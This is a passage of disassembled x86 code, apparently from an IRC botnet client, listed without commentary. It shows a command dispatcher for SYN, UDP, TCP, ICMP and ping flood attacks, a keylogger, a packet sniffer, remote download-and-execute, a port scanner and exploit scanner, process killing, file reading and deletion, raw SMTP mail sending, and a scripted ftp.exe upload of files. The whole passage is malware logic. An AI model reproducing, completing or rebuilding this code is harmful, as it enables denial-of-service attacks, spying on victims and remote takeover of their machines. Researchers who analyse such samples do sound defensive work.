aClone_quit ; "clone.quit" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411FA0 push [ebp+arg_8] push offset aClone_q ; "clone.q" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411FA0 push [ebp+arg_8] push offset aClone_rndnick ; "clone.rndnick" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411F52 push [ebp+arg_8] push offset aClone_rn ; "clone.rn" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411F52 push [ebp+arg_8] push offset aIrc_prefix ; "irc.prefix" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411F3D push [ebp+arg_8] push offset aIrc_pr ; "irc.pr" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411F3D push [ebp+arg_8] push offset aCom_open ; "com.open" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411F13 push [ebp+arg_8] push offset aCom_o ; "com.o" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411F13 push [ebp+arg_8] push offset aIrc_setserve ; "irc.setserve" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411EFA push [ebp+arg_8] push offset aIrc_se ; "irc.se" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411EFA push [ebp+arg_8] push offset aIrc_dns ; "irc.dns" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411E68 push [ebp+arg_8] push offset aIrc_dn ; "irc.dn" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411E68 push [ebp+arg_8] push offset aCom_killprocna ; "com.killprocname" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411E3C push [ebp+arg_8] push offset aCom_kpn ; "com.kpn" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411E3C push [ebp+arg_8] push offset aCom_prockillid ; "com.prockillid" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411DE1 push [ebp+arg_8] push offset aCom_pkid ; "com.pkid" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411DE1 push [ebp+arg_8] push offset aCom_delete ; "com.delete" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411DA6 push [ebp+arg_8] push offset aCom_del ; "com.del" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411DA6 push [ebp+arg_8] push offset aDcc_get ; "dcc.get" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411CBC push [ebp+arg_8] push offset aDcc_gt ; "dcc.gt" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411CBC push [ebp+arg_8] push offset aCom_filelist ; "com.filelist" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411C9E push [ebp+arg_8] push offset aCom_fl ; "com.fl" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411C9E push [ebp+arg_8] push offset aIrc_visit ; "irc.visit" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411BBD push [ebp+arg_8] push offset aIrc_v ; "irc.v" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411BBD push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411B82 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411B82 push [ebp+arg_8] push offset aCom_cmd ; "com.cmd" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411B37 push [ebp+arg_8] push offset aCom_cm ; "com.cm" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411B37 push [ebp+arg_8] push offset aCom_readfile ; "com.readfile" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411AB1 push [ebp+arg_8] push offset aCom_rf ; "com.rf" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411AB1 push [ebp+arg_8] push offset aSniff ; "sniff" call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40F13A push edi push offset aOn ; "on" call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40F105 push 19h call sub_415174 test eax, eax pop ecx jle short loc_40F02F push offset unk_42D93C jmp loc_40F1A6 ; --------------------------------------------------------------------------- loc_40F02F: ; CODE XREF: sub_40D2E0+1D43j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_4F0], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_464], eax jnz short loc_40F071 mov esi, offset aF_2 ; "#f" push offset byte_4325D8 push esi call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40F071 mov esi, [ebp+var_8C] loc_40F071: ; CODE XREF: sub_40D2E0+1D73j ; sub_40D2E0+1D89j push esi lea eax, [ebp+var_4EC] push 80h push eax call sub_4159FA add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_42D8FC push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 19h push eax call sub_414F2C add esp, 14h mov [ebp+var_46C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_402688 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_46C] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_40F0F4 loc_40F0DE: ; CODE XREF: sub_40D2E0+1E12j cmp [ebp+var_460], ebx jnz loc_40F2C5 push 32h call ds:dword_422054 ; Sleep jmp short loc_40F0DE ; --------------------------------------------------------------------------- loc_40F0F4: ; CODE XREF: sub_40D2E0+1DFCj call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42D8B0 jmp loc_40F2B6 ; --------------------------------------------------------------------------- loc_40F105: ; CODE XREF: sub_40D2E0+1D33j push edi push offset aOff ; "off" call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40F2C5 push ebx push 19h call sub_415127 pop ecx cmp eax, ebx pop ecx jle short loc_40F133 push eax push offset unk_42D864 jmp loc_40F2B6 ; --------------------------------------------------------------------------- loc_40F133: ; CODE XREF: sub_40D2E0+1E46j push offset unk_42D82C jmp short loc_40F1A6 ; --------------------------------------------------------------------------- loc_40F13A: ; CODE XREF: sub_40D2E0+1D1Ej push [ebp+arg_8] push offset aCom_keylog ; "com.keylog" call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40F2EF push edi push offset aOn ; "on" call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_40F1B9 push edi push offset aFile ; "file" call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_40F1B9 push edi push offset aOff ; "off" call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40F2C5 push ebx push 1Bh call sub_415127 pop ecx cmp eax, ebx pop ecx jle short loc_40F1A1 push eax push offset unk_42D7CC jmp loc_40F2B6 ; --------------------------------------------------------------------------- loc_40F1A1: ; CODE XREF: sub_40D2E0+1EB4j push offset unk_42D790 loc_40F1A6: ; CODE XREF: sub_40D2E0+1D4Aj ; sub_40D2E0+1E58j ... lea eax, [ebp+var_2DC] push eax call sub_415480 pop ecx pop ecx jmp loc_40F2C5 ; --------------------------------------------------------------------------- loc_40F1B9: ; CODE XREF: sub_40D2E0+1E80j ; sub_40D2E0+1E91j push 1Bh call sub_415174 test eax, eax pop ecx jle short loc_40F1CC push offset unk_42D760 jmp short loc_40F1A6 ; --------------------------------------------------------------------------- loc_40F1CC: ; CODE XREF: sub_40D2E0+1EE3j mov eax, [ebp+arg_4] push edi mov [ebp+var_4F0], eax mov eax, [ebp+var_4] push offset aFile ; "file" mov [ebp+var_468], eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40F1FB mov [ebp+var_464], 1 jmp short loc_40F204 ; --------------------------------------------------------------------------- loc_40F1FB: ; CODE XREF: sub_40D2E0+1F0Dj mov eax, [ebp+var_8] mov [ebp+var_464], eax loc_40F204: ; CODE XREF: sub_40D2E0+1F19j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_40F22B mov esi, offset aF_1 ; "#f" push offset byte_4325D8 push esi call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40F22B mov esi, [ebp+var_8C] loc_40F22B: ; CODE XREF: sub_40D2E0+1F2Dj ; sub_40D2E0+1F43j push esi lea eax, [ebp+var_4E8] push 80h push eax call sub_4159FA add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_42D730 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 1Bh push eax call sub_414F2C add esp, 14h mov [ebp+var_4EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_4023A7 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_4EC] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_40F2AA loc_40F298: ; CODE XREF: sub_40D2E0+1FC8j cmp [ebp+var_460], ebx jnz short loc_40F2C5 push 32h call ds:dword_422054 ; Sleep jmp short loc_40F298 ; --------------------------------------------------------------------------- loc_40F2AA: ; CODE XREF: sub_40D2E0+1FB6j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42D6E4 loc_40F2B6: ; CODE XREF: sub_40D2E0+1E20j ; sub_40D2E0+1E4Ej ... lea eax, [ebp+var_2DC] push eax call sub_415480 add esp, 0Ch loc_40F2C5: ; CODE XREF: sub_40D2E0+1E04j ; sub_40D2E0+1E34j ... cmp [ebp+var_8], ebx jnz loc_40DC90 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 14h jmp loc_40DC90 ; --------------------------------------------------------------------------- loc_40F2EF: ; CODE XREF: sub_40D2E0+1E6Bj push [ebp+arg_8] push offset aCom_net ; "com.net" call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40F582 cmp ds:dword_436538, ebx jz short loc_40F320 cmp ds:dword_436560, ebx jz short loc_40F320 push offset dword_42D694 jmp loc_40F53C ; --------------------------------------------------------------------------- loc_40F320: ; CODE XREF: sub_40D2E0+202Cj ; sub_40D2E0+2034j cmp [ebp+var_C], ebx jz loc_40F54A mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40F348 push eax push [ebp+var_C] call sub_415A50 pop ecx mov [ebp+arg_0], eax pop ecx loc_40F348: ; CODE XREF: sub_40D2E0+2058j push edi push offset aStart ; "start" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40F394 cmp [ebp+arg_18], ebx jz short loc_40F368 push [ebp+arg_0] push 3 jmp loc_40F3F2 ; --------------------------------------------------------------------------- loc_40F368: ; CODE XREF: sub_40D2E0+207Cj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40BE21 add esp, 0Ch test eax, eax jz short loc_40F38A push offset dword_42D658 jmp loc_40F53C ; --------------------------------------------------------------------------- loc_40F38A: ; CODE XREF: sub_40D2E0+209Ej push offset dword_42D628 jmp loc_40F53C ; --------------------------------------------------------------------------- loc_40F394: ; CODE XREF: sub_40D2E0+2077j push edi push offset aStop ; "stop" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40F3AC push [ebp+arg_0] push 4 jmp short loc_40F3F2 ; --------------------------------------------------------------------------- loc_40F3AC: ; CODE XREF: sub_40D2E0+20C3j push edi push offset aPause ; "pause" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40F3C4 push [ebp+arg_0] push 5 jmp short loc_40F3F2 ; --------------------------------------------------------------------------- loc_40F3C4: ; CODE XREF: sub_40D2E0+20DBj push edi push offset aContinue ; "continue" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40F3DC push [ebp+arg_0] push 6 jmp short loc_40F3F2 ; --------------------------------------------------------------------------- loc_40F3DC: ; CODE XREF: sub_40D2E0+20F3j push edi push offset aDelete ; "delete" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40F3FE push [ebp+arg_0] push 1 loc_40F3F2: ; CODE XREF: sub_40D2E0+2083j ; sub_40D2E0+20CAj ... call sub_40BB87 pop ecx pop ecx jmp loc_40F519 ; --------------------------------------------------------------------------- loc_40F3FE: ; CODE XREF: sub_40D2E0+210Bj push edi push offset aShare ; "share" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40F469 cmp [ebp+arg_18], ebx jz short loc_40F43C cmp [ebp+var_9C4], bl jz short loc_40F42F push ebx push [ebp+arg_18] push 1 loc_40F422: ; CODE XREF: sub_40D2E0+215Aj call sub_40BF5E add esp, 0Ch jmp loc_40F519 ; --------------------------------------------------------------------------- loc_40F42F: ; CODE XREF: sub_40D2E0+213Aj push [ebp+esi+var_88] push [ebp+arg_18] push ebx jmp short loc_40F422 ; --------------------------------------------------------------------------- loc_40F43C: ; CODE XREF: sub_40D2E0+2132j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40C154 add esp, 10h test eax, eax jz short loc_40F45F push offset dword_42D5CC jmp loc_40F53C ; --------------------------------------------------------------------------- loc_40F45F: ; CODE XREF: sub_40D2E0+2173j push offset dword_42D59C jmp loc_40F53C ; --------------------------------------------------------------------------- loc_40F469: ; CODE XREF: sub_40D2E0+212Dj push edi push offset aUser ; "user" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40F4EC mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40F4C5 cmp [ebp+var_9C4], bl jz short loc_40F49B push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_40F4B5 ; --------------------------------------------------------------------------- loc_40F49B: ; CODE XREF: sub_40D2E0+21A7j push [ebp+var_4] mov esi, [ebp+esi+var_88] cmp esi, ebx push [ebp+var_8C] push [ebp+arg_4] jz short loc_40F4BF push esi push eax push ebx loc_40F4B5: ; CODE XREF: sub_40D2E0+21B9j ; sub_40D2E0+21E3j call sub_40C275 add esp, 18h jmp short loc_40F519 ; --------------------------------------------------------------------------- loc_40F4BF: ; CODE XREF: sub_40D2E0+21D0j push ebx push eax push 2 jmp short loc_40F4B5 ; --------------------------------------------------------------------------- loc_40F4C5: ; CODE XREF: sub_40D2E0+219Fj push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40C7A5 add esp, 10h test eax, eax jz short loc_40F4E5 push offset dword_42D564 jmp short loc_40F53C ; --------------------------------------------------------------------------- loc_40F4E5: ; CODE XREF: sub_40D2E0+21FCj push offset dword_42D538 jmp short loc_40F53C ; --------------------------------------------------------------------------- loc_40F4EC: ; CODE XREF: sub_40D2E0+2198j push edi push offset aSend ; "send" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_40F537 cmp [ebp+arg_18], ebx jz short loc_40F530 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_40CA59 add esp, 10h loc_40F519: ; CODE XREF: sub_40D2E0+2119j ; sub_40D2E0+214Aj ... push eax push offset aS_2 ; "%s" loc_40F51F: ; CODE XREF: sub_40D2E0+4852j ; sub_40D2E0+4B79j ... lea eax, [ebp+var_2DC] push eax call sub_415480 loc_40F52B: ; CODE XREF: sub_40D2E0+5703j add esp, 0Ch jmp short loc_40F54A ; --------------------------------------------------------------------------- loc_40F530: ; CODE XREF: sub_40D2E0+2220j push offset dword_42D508 jmp short loc_40F53C ; --------------------------------------------------------------------------- loc_40F537: ; CODE XREF: sub_40D2E0+221Bj push offset dword_42D4DC loc_40F53C: ; CODE XREF: sub_40D2E0+203Bj ; sub_40D2E0+20A5j ... lea eax, [ebp+var_2DC] push eax call sub_415480 pop ecx pop ecx loc_40F54A: ; CODE XREF: sub_40D2E0+2043j ; sub_40D2E0+224Ej ... cmp [ebp+var_8], ebx jnz short loc_40F56B push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 14h loc_40F56B: ; CODE XREF: sub_40D2E0+226Dj ; sub_40D2E0+4847j ... mov esi, [ebp+arg_24] loc_40F56E: ; CODE XREF: sub_40D2E0+9B3j ; sub_40D2E0+4B35j ... lea eax, [ebp+var_2DC] push eax call sub_40A5B3 pop ecx mov eax, esi jmp loc_40D6AA ; --------------------------------------------------------------------------- loc_40F582: ; CODE XREF: sub_40D2E0+2020j push [ebp+arg_8] push offset aCom_capture ; "com.capture" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41186E push [ebp+arg_8] push offset aCom_cap ; "com.cap" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41186E push [ebp+arg_8] push offset aIrc_gethost ; "irc.gethost" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411780 push [ebp+arg_8] push offset aIrc_gh ; "irc.gh" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411780 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40D6A7 push [ebp+arg_8] push offset aIrc_addalias ; "irc.addalias" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41174E push [ebp+arg_8] push offset aIrc_aa ; "irc.aa" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41174E push [ebp+arg_8] push offset aIrc_privmsg ; "irc.privmsg" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4116F8 push [ebp+arg_8] push offset aIrc_pm ; "irc.pm" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4116F8 push [ebp+arg_8] push offset aIrc_action ; "irc.action" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411692 push [ebp+arg_8] push offset aIrc_ac ; "irc.ac" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411692 push [ebp+arg_8] push offset aIrc_cycle ; "irc.cycle" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411629 push [ebp+arg_8] push offset aIrc_cy ; "irc.cy" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411629 push [ebp+arg_8] push offset aIrc_mode ; "irc.mode" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4115EF push [ebp+arg_8] push offset aIrc_m ; "irc.m" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4115EF push [ebp+arg_8] push offset aClone_raw ; "clone.raw" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411581 push [ebp+arg_8] push offset aClone_ra ; "clone.ra" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411581 push [ebp+arg_8] push offset aClone_mode ; "clone.mode" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4114FC push [ebp+arg_8] push offset aClone_m ; "clone.m" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4114FC push [ebp+arg_8] push offset aClone_nick ; "clone.nick" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411490 push [ebp+arg_8] push offset aClone_ni ; "clone.ni" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411490 push [ebp+arg_8] push offset aClone_join ; "clone.join" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41146A push [ebp+arg_8] push offset aClone_j ; "clone.j" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41146A push [ebp+arg_8] push offset aClone_part ; "clone.part" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411407 push [ebp+arg_8] push offset aClone_p ; "clone.p" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_411407 push [ebp+arg_8] push offset aIrc_repeat ; "irc.repeat" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41133E push [ebp+arg_8] push offset aIrc_rp ; "irc.rp" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41133E push [ebp+arg_8] push offset aIrc_delay ; "irc.delay" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4112A1 push [ebp+arg_8] push offset aIrc_de ; "irc.de" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4112A1 push [ebp+arg_8] push offset aDownload_updat ; "download.update" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41111D push [ebp+arg_8] push offset aDownload_up ; "download.up" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41111D push [ebp+arg_8] push offset aCom_execute ; "com.execute" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41108A push [ebp+arg_8] push offset aCom_e ; "com.e" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41108A push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410F89 push [ebp+arg_8] push offset aFf ; "ff" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410F89 push [ebp+arg_8] push offset aCom_rename ; "com.rename" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410F37 push [ebp+arg_8] push offset aCom_mv ; "com.mv" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410F37 push [ebp+arg_8] push offset aDdos_icmp ; "ddos.icmp" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410E36 push [ebp+arg_8] push offset aDdos_ic ; "ddos.ic" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410E36 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40D6A7 push [ebp+arg_8] push offset aClone_make ; "clone.make" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410D4B push [ebp+arg_8] push offset aClone_start ; "clone.start" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410D4B push [ebp+arg_8] push offset dword_4240C0 call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410C46 push [ebp+arg_8] push (offset loc_4240B3+1) call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410C46 push [ebp+arg_8] push (offset loc_4240A7+1) call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410C46 push [ebp+arg_8] push offset aDdos_synflood ; "ddos.synflood" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410B48 push [ebp+arg_8] push offset aDdos_synf ; "ddos.synf" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410B48 push [ebp+arg_8] push offset aDownload_wget ; "download.wget" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410A07 push [ebp+arg_8] push offset aDownload_wg ; "download.wg" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410A07 push [ebp+arg_8] push offset aDaemon_redirec ; "daemon.redirect" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41090A push [ebp+arg_8] push offset aDaemon_rd ; "daemon.rd" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41090A push [ebp+arg_8] push offset aRoot_portscan ; "root.portscan" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410817 push [ebp+arg_8] push offset aRoot_ps ; "root.ps" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410817 push [ebp+arg_8] push offset aClone_privmsg ; "clone.privmsg" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410742 push [ebp+arg_8] push offset aClone_pm ; "clone.pm" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_410742 push [ebp+arg_8] push offset aClone_action ; "clone.action" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41062A push [ebp+arg_8] push offset aClone_ac ; "clone.ac" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41062A mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40D6A7 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4102D3 push [ebp+arg_8] push offset aAsc ; "asc" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4102D3 push [ebp+arg_8] push offset aDdos_udpflood ; "ddos.udpflood" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4101B0 push [ebp+arg_8] push offset aDdos_udpf ; "ddos.udpf" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4101B0 push [ebp+arg_8] push offset aU_0 ; "u" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_4101B0 push [ebp+arg_8] push offset aDdos_pingflood ; "ddos.pingflood" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41006C push [ebp+arg_8] push offset aDdos_pingf ; "ddos.pingf" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41006C push [ebp+arg_8] push offset aP ; "p" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_41006C push [ebp+arg_8] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_40FED3 push [ebp+arg_8] push offset aDdos_tcpf ; "ddos.tcpf" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_40FED3 push [ebp+arg_8] push offset aUtil_email ; "util.email" call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_40FD0A lea eax, [ebp+var_3F8] push edi push eax call sub_415B90 push [ebp+arg_18] call sub_4159EF push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_DB0] push eax call sub_415B90 push [ebp+arg_10] lea eax, [ebp+var_BA8] push eax call sub_415B90 push offset asc_425D24 ; " " push offset a__0 ; "_" push [ebp+esi+var_80] call sub_408E1D push eax lea eax, [ebp+var_55C] push eax call sub_415B90 add esp, 30h lea eax, [ebp+var_6EC] push eax push 101h call ds:dword_4363E0 ; WSAStartup lea eax, [ebp+var_3F8] push eax call ds:dword_4364EC ; gethostbyname push 6 push 1 push 2 mov edi, eax call ds:dword_4364E8 ; socket push [ebp+arg_18] mov esi, eax mov [ebp+var_2EC], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_2E8], eax call ds:dword_436468 ; htons mov [ebp+var_2EA], ax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_BA8] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_15B0] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_415480 add esp, 1Ch lea eax, [ebp+var_2EC] push 10h push eax push esi call ds:dword_436410 ; connect mov edi, 100h push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call ds:dword_436480 ; recv lea eax, [ebp+var_CAC] push ebx push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_15B0] push eax push esi call ds:dword_4364B8 ; send push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call ds:dword_436480 ; recv push esi call ds:dword_436500 ; closesocket call ds:dword_4363C8 ; WSACleanup lea eax, [ebp+var_BA8] push eax push offset unk_42D190 loc_40FCF6: ; CODE XREF: sub_40D2E0+3B51j ; sub_40D2E0+3E38j ... lea eax, [ebp+var_2DC] push eax call sub_415480 add esp, 0Ch jmp loc_411ED0 ; --------------------------------------------------------------------------- loc_40FD0A: ; CODE XREF: sub_40D2E0+28C0j push [ebp+arg_8] push offset aUtil_httpcon ; "util.httpcon" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_40FEA2 push [ebp+arg_8] push offset aUtil_hcon ; "util.hcon" call sub_4158A0 pop ecx test eax, eax pop ecx jz loc_40FEA2 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40D6A7 push [ebp+arg_8] push offset aFtp_upload ; "ftp.upload" call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_4133B5 push 4 push esi call sub_40B614 pop ecx test eax, eax pop ecx jnz short loc_40FD74 push esi push offset dword_42D138 jmp loc_41206B ; --------------------------------------------------------------------------- loc_40FD74: ; CODE XREF: sub_40D2E0+2A87j call ds:dword_422048 ; GetTickCount push eax call sub_4154D2 pop ecx call sub_4154DC push 9 cdq pop ecx idiv ecx push edx call sub_4154DC push 63h cdq pop ecx idiv ecx push edx call sub_4154DC cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_CB0] push edx push eax lea eax, [ebp+var_BAC] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_415480 lea eax, [ebp+var_BAC] push offset aAb ; "ab" push eax call sub_415B78 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40D6A7 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_415B26 push [ebp+arg_24] call sub_415AD0 add esp, 20h lea eax, [ebp+var_BAC] push eax lea eax, [ebp+var_3F8] push offset aSS_4 ; "-s:%s" push eax call sub_415480 add esp, 0Ch lea eax, [ebp+var_3F8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call ds:dword_4363DC test eax, eax push edi push esi jz short loc_40FE41 push offset dword_42D0C0 jmp short loc_40FE46 ; --------------------------------------------------------------------------- loc_40FE41: ; CODE XREF: sub_40D2E0+2B58j push offset dword_42D084 loc_40FE46: ; CODE XREF: sub_40D2E0+2B5Fj call sub_415480 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40FE6F push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 14h loc_40FE6F: ; CODE XREF: sub_40D2E0+2B71j lea eax, [ebp+var_2DC] push eax call sub_40A5B3 loc_40FE7B: ; CODE XREF: sub_40D2E0+2BC0j lea eax, [ebp+var_BAC] push 4 push eax call sub_40B614 add esp, 0Ch test eax, eax jz loc_40D6A7 lea eax, [ebp+var_BAC] push eax call sub_417CDA jmp short loc_40FE7B ; --------------------------------------------------------------------------- loc_40FEA2: ; CODE XREF: sub_40D2E0+2A3Bj ; sub_40D2E0+2A52j push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push 